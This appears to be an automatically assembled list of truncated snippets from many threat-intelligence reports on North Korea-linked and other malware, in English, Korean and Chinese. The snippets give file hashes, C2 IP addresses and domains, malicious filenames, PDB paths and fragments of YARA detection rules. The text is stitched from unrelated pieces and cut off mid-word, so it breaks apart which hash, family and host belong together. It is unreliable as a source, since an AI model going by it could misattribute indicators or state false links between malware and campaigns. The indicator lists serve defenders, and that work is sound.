89.147.101.65 89.147.101.71 37.120.210.2…","…(2022.08.02.03) Trojan/Win.Agent (2022.09.16.02) Data/BIN.Encoded (2022.10.05.00) Data/BIN.Encoded (2022.10.05.00) [파일 MD5] 8F39A7AFA14541B709FE950D06186944 CA6C08B58A35D7FA581DFB419CE5B881 1EDBD7AA68B1818A1EA98C0362CE84C7 4D91CD34A9AAE8F2D88E0F77E812CEF7 FA868A38CEEB46EE9CF8BD441A67AE27 43…","…of other versions of KANDYKORN RAT, with the following SHA1s: SHA1 First Seen 62267b88fa6393bc1f1eeb778e4da6b564b7011e Apr 2023 8f6c52d7e82fbfdead3d66ad8c52b372cc9e8b18 Apr 2023 ac336c5082c2606ab8c3fb023949dfc0db2064d5 Apr 2023 26ec4630b4d1116e131c8e2002e9a3ec7494a5cf Aug 2023…","…IoC (Indicator of Compromise) MD5 5ab26df9c161a6c5f0497fde381d7fca 8f82226b2f24d470c02f6664f67f23f7 09b91626507a62121a4bdb08debb3ed9 25e38d618f38b3218c3252cf0d22c969 38f8fd9e8d27ae665b3ac0f56492f6c4 048e1698c4b711d1652df4bf4be04f9e 53…","…: 1DB71AF7956F90AF9544C370A9DD3570CFBE04010C7608E5A160B997CF134F89 downloaded malware (0xFF decoded) md5 : 8F8AA835E65998DD472D2C641AA82DA5 sha1 : F9B8645BCB399E48B046BDD96F33B4B0FED1598E sha256 : 04F9579865C6611AFD27FED6ACAF8581C662B52B817FBC9007455E046C73A05E svchost.exe…","…29356d4f3 01f1a70bfc0016d3fceefb3b2133977a6a9649ad1c54280fcbbe1a8f9aad2149 c470bef115787abcc9a1d1df9213a072ab2b6daea5eaaa18a4378bca4d37f7df 8fb56f3d63e5dbc55695fe6e043707a933116ace43db4d3d67f42341a6540eef 4555744f4a328cddca885938f8fee83133be93c59be33a3e0b2906b536ee667c 85d3c1500e80b4782f3c1488adacfd14668ad99f3b4f01da3b0c4f31480745b4 270544175…","…(2023.04.08.00) MD5 0f5eeb23d701a2b342fc15aa90d97ae0 461ce7d6c6062d1ae33895d1f44d98fb 657fd7317ccde5a0e0c182a626951a9f 8fef5eb77e0a9ef2f97591d4d150a363 aa8ba9a029fa98b868be66b7d46e927b URL https://1drv.ms/i/s!AhXEXLJSNMPTbfzgUMxNbInC6 AhnLab EDR 의 행위 기반 탐지 및 대응 기능에 대해 더…","…d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48 Hashes detected as JS_DLOADER.ZBEL-A 8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3 Hashes detected as X97M_DLOADR.ZBEL-A 972b598d709b66b35900dc21c5225e5f0d474f241fefa890b381089afd7d44ee Hashes detected…","…685bfc6b2c29fbc16cfad908894add55 7a53089053b1381742856a5cf2b95f8b 8db2f20b719dcb7029d6296505622093 900e832c10d851bbdef3fb191a15db0e a2015665a3e18bf0ef86e3931245c7e6 bb88940e915b11f6330b7446f6037f5b ce5932b88f879f26006df81f2fa7667e…","…IoC MD5 d02be241dda3d4027f6fbd84ac015ca8 건강검진 안내서.alz 903cec93146327414cbc49068c524292 건강검진 안내서.pdf.jse 5f5f868d339aeb58c613fe7eb55e5432 bEyjSIpZvbJpjVv9.a9oc 7d994b591c2d4fafeb3e71278229566e hkNlPHP61rvE0T7J.lpxQ C2…","…정보 파일명 봄호원고 _ 안찬일박사님 .hwp 경로 E: \\ Happy \\ Work \\ Source \\ version 12 \\ First-Dragon \\ Sample \\ Release \\ DogCall.pdb MD5 904781cfcc946573bd2bf8882c85edbd [ 표 12] ‘ 봄호원고 _ 안찬일박사님 .hwp ’ 를 통해 설치되는 악성파일 정보 Threat Intelligence Report Genians Security Center 30…","…4488c709970833b5043c0b0ea2ec9fa9 7bab405fbc6af65680443ae95c30595d 7f5a72be826ea2fe5f11a16da0178e54 8b666fc04af6de45c804d973583c76e0 9083c1ff01ad8fabbcd8af1b63b77e66 Tags: M2RAT MaptoRAT RedEyes Previous Post EDR을 활용한…","…3d 6a4c3256ff063f67d3251d6dd8229931 8b8fa6c4298d83d78e11b52f22a79100 303c5e4842613f7b9ee408e5c6721c00 639b5489d2fb79bcb715905a046d4a54 908d074f69c0bf203ed225557b7827ec 0171338d904381bbf3d1a909a48f4e92 0777781dedd57f8016b7c627411bdf2c 94935397dce29684f384e57f85beeb0a a9a52e2f2afe28778a8537f955ee1310 a5…","…Date: 2020-03-24 myaccounts.posadadesantiago.com 173.205.125.124 2019-01-25 SHA-1: 90d00ecb1e903959a3853e8ee1c8af89fb82a179 Date: 2019-01-25 KGH Spyware Suite The connection between different components of the KGH malware suite During our…","…d567c7ec86ed 2217c29e5d5ccfcf58d2b6d9f5e250b687948440 246018220a4f4f3d20262b7333caf323e1c77d2e 8b6ffa56ca5bea5b406d6d8d6ef532b4d36d090f 90f52b6d077d508a23214047e680dded320ccf4e f483c33acf0f2957da14ed422377387d6cb93c4d f974d22f74b0a105668c72dc100d1d9fcc8c72de redhat-packages.com centos-packages.com dallynk.com…","…c2904dc8bbb569536c742fca0c51a766e836d0da8fac1c1abd99744e9b50164f dda53eee2c5cb0abdbf5242f5e82f4de83898b6a9dd8aa935c2be29bafc9a469 90fb0cd574155fd8667d20f97ac464eca67bdb6a8ee64184159362d45d79b6a4 YamaBot f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb Procdump…","…(2023.05.09.00) MD5 73174c9d586531153a5793d050a394a8 8133c5f663f89b01b30a052749b5a988 91029801f6f3a415392ccfee8226be67 ec1b518541228072eb75463ce15c7bce f05991652398406655a6a5eebe3e5f3a URL…","…Size 221184 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 5c3898ac7670da30cf0b22075f3e8ed6 SHA1 91110c569a48b3ba92d771c5666a05781fdd6a57 SHA256 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 SHA512…","…b3cb58 e87177e07ab9651b48664c3d22334248e012e8a2bab02f65c93fedd79af0a74f 022344029b8bf951ba02b11025fe26c99193cb7c8a482c33862c9bbaa5e5528e 9111d458d5665b1bf463859792e950fe8d8186df9a6a3241360dc11f34d018c2 4bce97eff4430708299a1bb4142b9d359d8adf77a2e1673bf76485df25e6d357 878e3701df9b0abdaa7094e22d067c8398a9fc842cabe917fd5f75f2c84d8552 176e8a…","…Indicators of Compromise Files 911d9f05e1c57a745cb0c669f3e1b67ac4a08601 cd62a9ab320b4f6be49be11c9b1d2d5519cc4860 2d1537e92878a3a14b5b3f55b32c91b099513ae0 f08f036a0c79a53f6b0c9ad84fb6eac1ac79c168 df39ab90c89a…","…85d316590edfb4212049c4490db08c4b 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae 1507e7a741367745425e0530e23768e6 911de8d67af652a87415f8c0a30688b2 1f7897b041a812f96f1925138ea38c46 cb52c013f7af0219d45953bae663c9a2 4cc10ab3f4ee6769e520694a10f611d5…","…Mimikatz 6FBB771CD168B5D076525805D010AE0CD73B39AB1F4E6693148FE18B8F73090B 912018AB3C6B16B39EE84F17745FF0C80A33CEE241013EC35D0281E40C0658D9 CAF6739D50366E18C855E2206A86F64DA90EC1CDF3E309AEB18AC22C6E28DC65 3Proxy…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2019-06-18 08:03:26-04:00 Import Hash 912d2b0681d67169c9ee0b4cead2c366 PE Sections MD5 Name Raw Size Entropy 638c9a9cdf6ecfc555c8c07f4e8c7ecf header 1024 2.903657…","…malware hash 912f87392a889070dbb1097a82ccd93f prof3.db(x86) 778a7ed1aa3ce2d8eb719765cac3c166 prof6.db (x64) eb6275a24d047e3be05c2b4e5f50703d skin-8.thm…","…for analysis. e98991cdd9ddd30adf490673c67a4f8241993f26810da09b52d8748c6160a292 Tags backdoortrojan Details Name 912F87392A889070DBB1097A82CCD93F Size 128512 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 912f87392a889070dbb1097a82ccd93f SHA1…","…efforts. Indicators of Compromise SHA1 Hashes 96d29a2d554b36d6fb7373ae52765850c17b68df 84398dcd52348eec37738b27af9682a3a1a08492 912f875899dd989fbfd64b515060f271546ef94c 49c70c292a634e822300c57305698b56c6275b1c 8f2e6719ce0f29c2c6dbabe5a7bda5906a99481c 0288140be88bc3156b692db2516e38f1f2e3f494 Domains c…","…2080-06-10 16:35:41 (UTC) Product Name WinSvc PDB Path E:\\RAT\\AsyncRat_0313\\rat_Client\\rat_pro\\obj\\Debug\\rat_pro.pdb MD5 914eb1b37d5679931fc9c2b5f3a2bbcd [표 4] 악성 파일 주요 정보 ○ C# 기반 악성파일로 AsyncRAT 변종이며, 동일 C2 서버로 원격 접속을 시도합니다.…","…CyberLink installer (LambLoad) 089573b3a1167f387dcdad5e014a5132e998b2c89bff29bcf8b06dd497d4e63d SHA-256 Second-stage PNG payload 915c2495e03ff7408f11a2a197f23344004c533ff87db4b807cc937f80c217a1 SHA-256 Decrypted PE from second-stage PNG https://update.cyberlink.com/Retail/Promeo/RDZCMSFY1ELY/CyberLink_Pr omeo_Downloader.exe URL…","…(GUI) Intel 80386, for MS Windows MD5 2733a9069f0b0a57bf9831fe582e35d9 SHA1 f06f9d015c2f445ee0f13da5708f93c381f4442d SHA256 91650e7b0833a34abc9e51bff53cc05ef333513c6be038df29929a0a55310d9c SHA512…","…CISA identified a macOS RAT named kupayupdate_stage2 (SHA256: 91eaf215be336eae983d069de16630cc3580e222c427f785e0da312d0692d0fd ) that was used as the final payload of this wave. Upon analyzing the kupayupdate_stage2 RAT for macOS, we noticed that the malware’s…","…bfd74b4a1b413fa785a49ca4a9c0594441a3e01983fc7f86125376fdbd4acf6b cbf4cfa2d3c3fb04fe349161e051a8cf9b6a29f8af0c3d93db953e5b5dc39c86 91eaf215be336eae983d069de16630cc3580e222c427f785e0da312d0692d0fd Domains: jdkgradle.com rebelthumb.net levelframeblog.com OdicLoader SHA256 hashes:…","…MD5 17ab2927a235a0b98480945285767bcf SHA1 d4b96e9d966b0f1e9ff1ef61a8d09c9020254652 SHA256 91eaf215be336eae983d069de16630cc3580e222c427f785e0da312d0692d0fd SHA512…","…89CAD9A57985CC0AB3B7403A943AD0AA7B167DC7A3C38557417FEDEA67A77B87 8BFA4FE0534C0062393B6A2597C3491F7DF3BF2EABFE06544C53BDF1F38DB6D4 91EAF215BE336EAE983D069DE16630CC3580E222C427F785E0DA312D0692D0FD 927B3564C1CF884D2A05E1D7BD24362CE8563A1E9B85BE776190AB7F8AF192F6 973F7939EA03FD2C9663DAFC21BB968F56ED1B9A56B0284ACF73C3EE141C053C…","…3703770e32820397c6e7e1e1221e6d0d 5d833bcc679db38a45111269e727ec58b75c8d31 92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61 2fdf61fdfd649f8bbf5730307a0ab5d1 b2a89eebb5be61939f5458a024c929b169b4dc85…","…these findings, it becomes crucial to address and mitigate this threat with utmost vigilance and strategic response. Indicators MD5: 9216198a2ebc14dd68386738c1c59792 6ad6232bcf4cef9bf40cbcae8ed2f985 d0f6cf0d54cf77e957bce6dfbbd34d8e 921aa3783644750890b9d30843253ec6 99fd2e013b3fba1d03a574a24a735a82 0b…","…the Polish language niebezpiecznik.pl blog on 7 February 2017. MD5 hash Filename Compile Time File Info Submitted 9216b29114fb6713ef228370cbfe4045 srservice.chm N/A N/A N/A 8e32fccd70cec634d13795bcb1da85ff srservice.hlp N/A N/A N/A…","…response. Indicators MD5: 9216198a2ebc14dd68386738c1c59792 6ad6232bcf4cef9bf40cbcae8ed2f985 d0f6cf0d54cf77e957bce6dfbbd34d8e 921aa3783644750890b9d30843253ec6 99fd2e013b3fba1d03a574a24a735a82 0b7dad90ecc731523e2eb7d682063a49 516beb7da7f2a8b85cb170570545da4b SHA1: 07b494575d548a83f0812ceba6b8d…","…x64 (OAED Loader) Bisonal (OAED Loader) Indicator Type Notes Sanyo 9233133a60362d5507dfe84a491ecf29b9b7a8d5c3fab52e1d9accf2f4a678fb 6089b071f3dddb7ae85fc9b835f1fa10594c29a583c3154597a11c9b7bd38783 505606e9b6c3e2d05336a95dee0735ea707bb55162ca99177eec359f85a132e6 wp.hitomi…","…Files or Information Indicators of Compromise (IOCs) Indicators Indicator Type Description 04e8a5c6e5797b0f436ca36452170a2f 924be824edb54f917d52e43a551c0eb2848cad8f 2f6c1def83936139425edfd611a5a1fbaa78dfd3997efec039f9fd3338360d25 MD5 SHA-1 SHA-256 .lnk file…","…2c4cbb 63c45dd760256bb2bee1eeb9e7d61601c90a752ff46832df39ca1a8d2376b281 82286cf6369eddd2e79d005a435623abe2db642c216d38550411865acf84210e 9255280904f85d01545d295a31038678d697325385be6c7c01435d541f16b043 d1b5d606c866c304c3eb28fc52ed700c6b292e6e4387e0dac1a895e231bfe5b3 3b2701a7d49a8d6002a2a202bac9b18b4bc917009da01591ab5b66f183f9c8e9 aead26…","…Filename: conhote.dll #2 SHA256: 553a475f72819b295927e469c7bf9aef774783f3ae8c34c794f35702023317cc Filename: winnit.exe #3 SHA256: 92600679bb183c1897e7e1e6446082111491a42aa65a3a48bd0fceae0db7244f Filename: Anti virus service.lnk CC dowhelsitjs.netau.net 2017 Campaign A: Dropper SHA256:…","…samples that match the characteristics and behaviors associated with these attacks (see Figure 1). MD5 File Size Identification 9263e40d9823aecf9388b64de34eae54 427,520 bytes Dropper db4bbdc36a78a8807ad9b15a562515c4 24,576 bytes Wiper A 5fcd6e1dace6b0599429d913850f0364 24,576 bytes Wiper B…","…Based on these hashes and samples, you can find here under an analysis. Samples Analysis Presumed Dropper(s) MD5 9263E40D9823AECF9388B64DE34EAE54 Size 417.5 KB Compilation timedatestamp 2013-03-20 04:07:02 Modify Date None File mapping object None Resource language(s)…","…a03d13c9825e150810e6e6aaf053d71ec5a53b86581414dd982a74d4a8bc5475 KANDYKORN SHA256 hash: 927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6 SmoothOperator Malicious 3CX DMG SHA256 hash: e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec…","…8BFA4FE0534C0062393B6A2597C3491F7DF3BF2EABFE06544C53BDF1F38DB6D4 91EAF215BE336EAE983D069DE16630CC3580E222C427F785E0DA312D0692D0FD 927B3564C1CF884D2A05E1D7BD24362CE8563A1E9B85BE776190AB7F8AF192F6 973F7939EA03FD2C9663DAFC21BB968F56ED1B9A56B0284ACF73C3EE141C053C 99DBC6FE3C3E465052FCEFA1642861747DC9E069EEB244589B605BD710B1E0D1…","…: InfoStealer/Win.Agent.C4950322 Download DLL (Fileless) : Trojan/Win.Kimsuky.C4950244 MD5 37c7fd52c0102a461aa29b1772ecbe12 929a87be39ed3ad28e7285340f64414f b46ba113b1d461041af9f31ca8d5f916 da9816b60d9866b1b6d90a8e20e39623 URL http://ms-work.com-info.store/ Tags: APT 매크로 악성문서…","…주요 침해 지표 (Indicator of Compromise) ● MD5 2A40543F5B4B8CC1F4BD8993DF44708E 92A18B9AC4945B444466B9950CB83E10 ADE57773E415DB6265815DF636AA83E9 EC146031EDFE94B2965D32B384A4B54F F32653EC5E26AD7DA610DFC194FB66BA 1E25FED1DAB0E2E4651FC51DB806A8B9 9E…","…08111135bae27c8aafd08457e95b7380 100e0fdae087054dbc1d8fc364b07e2e 7c451e8d5605536363d897fa9e389ecd 7ed620ca3fdbf2e3900cac5fc99f037f 92ac0465a474e9bb83154c01bb914b52 URL…","…to Sensitive Data Indicators of Compromise Domain Name atokyonews.com arcashop.org wassmestaazh.pro yayun88.one MD5 92b770b39e51c618a8556e2a5f8989a8 785028ccb1763c504626d3678a0c8fe7 34bd23adddc3ca5e252d89fed27225bd SHA-256…","…Size 1778176 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 171b9135540f89bf727b690b9e587a4e SHA1 930577d155c41ad843be09a5910a75160eb0eca9 SHA256 0a763da26a67cb2b09a3ae6e1ac07828065eb980e452ce7d3354347976038e7e SHA512…","…sha256 sha1 md5 0085a02b9ba24afd266116df43acbd4f57fc8822af4929e7d17b59f2ceae9418 9320a614916bbfaa31853d785ffe0ed0fc7b54f4 79fc7ed090bc935881e7c242e40071a2 3c1cfc2b8b7e5c2d713ec5f329aa58a6b56a08240199761ba6da91e719d30705…","…for additional implants that used the same loader shellcode as the 3CX implants, we discovered a sample on a multiscanner service (MD5: 933508a9832da1150fcfdbc1ca9bc84c ) loading a payload that uses the wirexpro.com C2 server.…","…악성 문서 파일 Name 민화협 제 11 기 정책위원회 명단 ( 수정 ).doc Type Microsoft Word 문서 파일 Behavior VBA Macro SHA-256 934731692b12fd182acbc698dd3f8ef59984aa4e7ef56e124f9851852878817e Description VBA Macro Embedded Word Document [ 파일 3] 민족화해협력범국민협의회를 사칭한 북한의 정보 탈취형 악성 문서 파일 월간 Security…","…Size 116224 Bytes MD5 76111d9780b2d0b5adee61cf752d937e SHA1 5b03294b72c0caa5fb20e7817002c600645eb475 SHA256 9352625b3e6a3c998e328e11ad43efb5602fe669aed9c9388af5f55fadfedc78 All strings and API calls are obfuscated using a custom algorithm.…","…SHA256 f53d4b3eb76851e88c6f30f1ecc67796bbd6678b8e2e9bc0a8f2582c42a467c6 Payload SHA256 9362425ae690b5bf74782eafe959195f25ac8bad370794efd4a08048141efb32 Payload SHA256 5c206b4dc2d3a25205176da9a1129c9f814c030a7bac245e3aaf7dd5d3ca4fbe Payload…","…Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 022298cf16c0c44d7b01b5de2cf84023 SHA1 939ec41183bbe1f4fb65c924323543ee91a35dbf SHA256 d5ac680e14b013e0624470da7f46e84809d00b59a7544f6a42b110cf0e29254e SHA512…","…ApplicationCacher-f0182c1a4.rbs 5f77737c1f4bd8b1868dc50efce1bbf5 c85c825f1e2ef66d83dc1cf011f8b2e6aee08fa8 93d78712eb3f9e81286a9ebcffe6296ef05eb20dd53a76c16f6fb5384b0baf26 Cacher.hls-iol 12011c44955fd6631113f68a99447515 4f4f8cf0f9b47d0ad95d159201fe7e72fbc8448d…","…(GUI) Intel 80386, for MS Windows MD5 22082079ab45ccc256e73b3a7fd54791 SHA1 029bb15a2ba0bea98934aa2b181e4e76c83282ce SHA256 93e13ffd2a2f1a13fb9a09de1d98324f75b3f0f8e0c822857ed5ca3b73ee3672 SHA512…","…Gomir MD5 e562cf30d17d47347c7e6ffd249fc190 SHA1 93edc15a20aac8b5193e5b22e35dbb09848e2ca0 SHA256 30584F13C0A9D0C86562C803DE350432D5A0607A06B24481AD4D92CDF7288213 C&C :…","…Windows CC phpschboy.prohosts.org jams481.site.bz 2016 Campaign: How can North Korean hydrogen bomb wipe out Manhattan Dropper SHA256: 94113c9968db13e3412c1b9c1c882592481c559c0613dbccfed2fcfc80e77dc5 Filename: How can North Korean hydrogen bomb wipe out Manhattan.scr Dropped #1 SHA256:…","…790662a047047b0470e2f243e2628d8f1b62794c1359b75ed9b856325e9c961a 800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266 941cd0662cae55bc06727f1d658aba67f33442e63b03bebe012dad495e9e37dc a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6 a984a5ac41446db9592345e547afe7fb0a3d85fcbbbdc46e16be1336f7a54041…","…Execution/EDR.Regsvr32.M11168 (EDR) – Execution/MDP.Regsvr32.M11169 (MDS) MD5 80f381a20d466e7a02ea37592a26b0b8 946e1e0d2e0d7785d2e2bcd3634bcd2a b6d11017e02e7d569cfe203eda25f3aa d2eb306ee0d7dabfe43610e0831bef49 d6a38ffdbac241d69674fb142a420740 URL…","…– Execution/EDR.Regsvr32.M11168 (EDR) – Execution/MDP.Regsvr32.M11169 (MDS) MD5 80f381a20d466e7a02ea37592a26b0b8 946e1e0d2e0d7785d2e2bcd3634bcd2a b6d11017e02e7d569cfe203eda25f3aa d2eb306ee0d7dabfe43610e0831bef49 d6a38ffdbac241d69674fb142a420740 URL…","…样本信息 相关恶意样本基础信息如下： - - MD5 946f787c129bf469298aa881fb0843f4 文件名 210927 코로나 대응(보령-태안1)_취합_수정.PIF 文件大小 834.52 KB 时间戳 星期六, 11.09.2021 07:33:38 UTC 原始样本释放的hwp文档诱饵如下：…","…PE Metadata Compile Date 2017-06-06 10:54:03-04:00 Import Hash 947a389c3886c5fa7f3e972fd4d7740c PE Sections MD5 Name Raw Size Entropy e772c7a04c7e3d53c58fdb8a88bb0c02 header 1024 2.486400…","…00 639b5489d2fb79bcb715905a046d4a54 908d074f69c0bf203ed225557b7827ec 0171338d904381bbf3d1a909a48f4e92 0777781dedd57f8016b7c627411bdf2c 94935397dce29684f384e57f85beeb0a a9a52e2f2afe28778a8537f955ee1310 a58ef1e53920a6e528dc31001f302c7b ad6273981cb53917cb8bda8e2f2e31a8 d4b06cb4ed834c295d0848b90a109f09 d6…","…in the financial sector. MD5 04f1f6e2d8a0cfb58c9dab5546bbd13f 3fc3962721c62a7352fb4230e36a6089 6e7a2aa1a62c90dc31e2b4fda1a7ad00 94c75cdb38a51621b8c8255db24b45a1 b285748d5b50658b50fd974f034872f0 URL…","…date = \"2020-12-15\" reference = \"https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf\" hash = \"94d2448d3794ae3f29678a7337473d259b5cfd1c7f703fe53ee6c84dd10a48ef\" strings : $s1 = \"strMsg = \\ \"E : F \\ \"\" fullword ascii $s2 = \"strMsg = \\ \"S : \\ \" &…","…ransomware was detected ten hours after the DTrack variant on the same server. MD5 ad4eababfe125110299e5a24be84472e SHA1 94db86c214f4ab401e84ad26bb0c9c246059daff SHA256 a557a0c67b5baa7cf64bd4d42103d3b2852f67acf96b4c5f14992c1289b55eaa Link time 2021-04-15 04:36:00 File type PE32…","…addresses (196.38.48.121, 185.142.236.226) used in this attack have been used by the older variant of Fallchill. MD5 Timestamp 94dfcabd8ba5ca94828cd5a88d6ed488 2016-10-24 02:31:18 14b6d24873f19332701177208f85e776 2017-06-07 06:41:27 abec84286df80704b823e698199d89f7 2017-01-18 04:29:29…","…MD5 34b7356722b992992f5382b0761466bc 3ad7a29a1f661034da0b3779a4046849 5573953bf4dafa96877dacf3435db228 94fdc2115ce7f4ab0234a1e26901cb1c a15c386db0a3d0d208042d0982f21f37 URL…","…New Year\" Campaign: Maldoc sha256: 281828d6f5bd377f91c6283c34896d0483b08ac2167d34e981fbea871893c919 Dropped #1: 95192de1f3239d5c0a7075627cf9845c91fd397796383185f61dde893989c08a Dropped #2: 7ebc9a1fd93525fc42277efbccecf5a0470a0affbc4cf6c3934933c4c1959eb1 Dropped #3:…","…(MD5 5bc4b606f4c0f8cd2e6787ae049bf5bb), and that tool was also previously employed by the Andariel/StoneFly/Silent Chollima group (MD5 95247511a611ba3d8581c7c6b8b1a38a).…","…206993398af2 f8542e5567741c95a966cd1508c6d11ad0763440 598b8a9b7bb134bdbf34503e109ec66a18dbbfa9 9837e850f9800cff7d4fd26a2d9ccbaa1960d50b 9534d277d796890affadb3d3861d22a61bfdbbdd dd6bbd76378fce03e2b72c904832e576d4576354 Remediation Block all threat indicators at your respective controls. Search for indicators…","…Tags: trojan macho Name: Esilet-tmpg7lpp Size: 38.24 KB (39156 bytes) MD5: 9578c2be6437dcc8517e78a5de1fa975 SHA-1: d2a77c31c3e169bec655068e96cf4e7fc52e77b8 SHA-256: dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156 ssdeep:…","…4d a26c2442743d234ccd3b0d104e13a798 3439de0b221320f58e3432c2672c4074 a489b72510dfd07e6d05b07e8547cf25 9edbd2f21b81183770fd767b31c2458c 959e71b8f743a202eb80b65acbb60f7c d8508b3c7ba4f2b9ed1cf3ff28fd6b83 22a477da55c7391dd0fc6176241d108e SHA-256…","…SHA-256: 736092b71a9686fde43d3c4abd941a6774721b90b17d946c9d05af19c84df0a4 95a19bb2cc53c2ff2edff89161acb9c50ea450fa8a53bbddde2ca3007b1a1345 SHA-1: 9a17d9b44af34aca4e94242c54e001d761993763 f0891b2fd83037f982acfaac17dcd77b091534db Conclusion Since its…","…d4616f9706403a0d5a2f9a8726230a4693e4c95c58df5c753ccc684f1d3542e2 95c8ffe03547bcb0afd4d025fb14908f5230c6dc6fdd16686609681c7f40aca2 99017270f0af0e499cfeb19409020bfa0c2de741e5b32b9f6a01c34fe13fda7d 7646c2afbc8b9719b0295e5a880bb89fb85bdd4346603a52768b161eda12e8be…","…Excel 程序版本信息 收集最近的可执行文件列表 收集固定到任务栏的快捷方式列表 收集到的信息作为参数发送到攻击者服务器。 关联分析 下述样本为Kimsuky组织在过往的攻击活动中使用的样本。 - - MD5 95c92bcfc39ceafc1735f190a575c60c 文件名 사례비지급 의뢰서(양식) 而我们此次捕获样本与之前的已知样本在VBA执行流程，代码和攻击载荷落地极其相似。但不同的是，此次是从网络设施中下载载荷，增加了溯源的困难度和增加了查杀难度。 总结 Kimsuky…","…property. Impact Data Theft and Espionage Sensitive Data Exposure Indicators of Compromise IP 154.90.62.152 MD5 95d13d6054d18f48328bc31e2eee68f7 SHA-256 3bc549b5b59a5f6f98d53bb9059667b8954b038641630fd68455155acbb25af7 SHA1 6b9c1f4fff75be430f3e76c28d50493ab30e751e…","…SHA-256 ba5f3bbe77eef8e730fde5f7ab493e4ed3d954b9fa70a234eda6fe3c2fc1d572 95dc085b0fea4a8d80df11ba1409a2df89ca97d980ba3dcf8e90d31e9d3fd533 6f9b79c20330a7c8ade8285866e5602bb86b50a817205ee3c8a466101193386d f5873ecd60390e7b86db5ddaf158ed201b386be26ad80af8a7da3576446520b8 58f297…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2018-05-30 23:29:44-04:00 Import Hash 95dff862e0b00db0b05bcf957ad9e12e PE Sections MD5 Name Raw Size Entropy f72cbf29269ccff8e8ad284f34fbc0b1 header 1024 2.894160…","…6db53d66629f95a2d830a4f56e8c69f2 SHA1: 253d232e1485e7e60ff3380999412c773d0a9a14 File: plugin.msc # Extracted Shellcode SHA256: 95f4954ad79fa972bfd4fe217608ed5216c674e8ae6662cb8ffb31dbed50ec63 MD5: 66126fa42accfb183f72e25b20750b97 # MMC Console File ID 1225e4fe-5c83-4d7f-a643-606b18e5f890 Network Indicators # C2 Domains…","…Name CAgent11.exe Size 7014400 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 96071956d4890aebea14ecd8015617cc SHA1 49e16180795034a4888fff776968e29871f79340 SHA256 04d70bb249206a006f83db39bbe49ff6e520ea329e5fbb9c758d426b1c8dec30 SHA512…","…date = \"2020-12-15\" reference = \"https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf\" hash = \"961a66d01c86fa5982e0538215b17fb9fae2991331dfea812b8c031e2ceb0d90\" strings : $g1 = \"server.scripttimeout=600\" fullword ascii $g2 = \"response.buffer=true\" fu llword ascii…","…Hash of mach-O Analyzed f1b3ce96462027644f9caa314d3da745dab139ee1cb14fe508234e76bd686f93 Additional SHA-256 Hashes 9623c98f7338d56b07b35cd379e31e685e32a9c5317d7bc4af5276916cef4ed3 f1b3ce96462027644f9caa314d3da745dab139ee1cb14fe508234e76bd686f93 9b839e9169babff1d14468d9f8497c165931dc65d5ff1f4b547925ff924c43fe c52e3e…","…KB MD5:1a1723be720c1d9cd57cf4a6a112df79 SHA-1:eabfadb9034062fed3d32dc290e3284741f1dd58 SHA-256:963af57641c094df6b5656552daaafd5ced0a1435261e612a4640604d023ebca C2 64.49.14.181 ports 8014,7032 2024-09-18 06:18:43 UTC 기준 해당 악성코드를 탐지하는 보안 업체들은 다음과…","…Here is the file's general information: MD5: 09a77c0cb8137df82efc0de5c7fee46e SHA1: 964ba2c98b42e76f087789ab5f64e75dd370841a File s ize: 176640 bytes File t ype: PE32 executable (GUI) Intel 80386, for MS Windo ws Link t ime: 2017.02.02 04:20:19 (GMT)…","…MD5 SHA1 SHA256 Malicious ICO File 644f63f869e2b0a9e5d1aa32823956cc 96910a3dbc194a7bf9a452afe8a35eceb904b6e4 a541e5fc421c358e0a2b07bf4771e897fb5a617998aa4876e0e1baa5fbb8e25c MD5 SHA1 SHA256 Malicious ICO File…","…Size 2 bytes Type data MD5 c4103f122d27677c9db144cae1394a66 SHA1 1489f923c4dca729178b3e3233458550d8dddf29 SHA256 96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7 SHA512…","…importance of maintaining a state of constant alertness and fostering collaborative efforts. Indicators of Compromise SHA1 Hashes 96d29a2d554b36d6fb7373ae52765850c17b68df 84398dcd52348eec37738b27af9682a3a1a08492 912f875899dd989fbfd64b515060f271546ef94c 49c70c292a634e822300c57305698b56c6275b1c 8f2e6719ce0f…","…about the toolset used in the supply chain attack. Gopuram indicators of compromise MD5 hashes 9f85a07d4b4abff82ca18d990f062a84 96d3bbf4d2cf6bc452b53c67b3f2516a File paths C:\\Windows\\System32\\config\\TxR\\<machine hardware profile…","…Name dwnhost.dll Size 1030144 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 9722bc9e0efb4214116066d1ff14094c SHA1 41a938499048a6ad8034d09e2fbb893da8f13ca9 SHA256 e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef SHA512…","…between PondRAT and Kupayupdate_stage2 In their recently published research, VIPYR Security analyzed the code of a Linux RAT (SHA256: 973f7939ea03fd2c9663dafc21bb968f56ed1b9a56b0284acf73c3ee141c053c ) that was an unknown at the time, which we now identify as the Linux variant of PondRAT.…","…rgedist.com/sfxl.php Domains: airbseeker.com globalkeystroke.com globalkeystroke.com PondRAT SHA256 hashes: 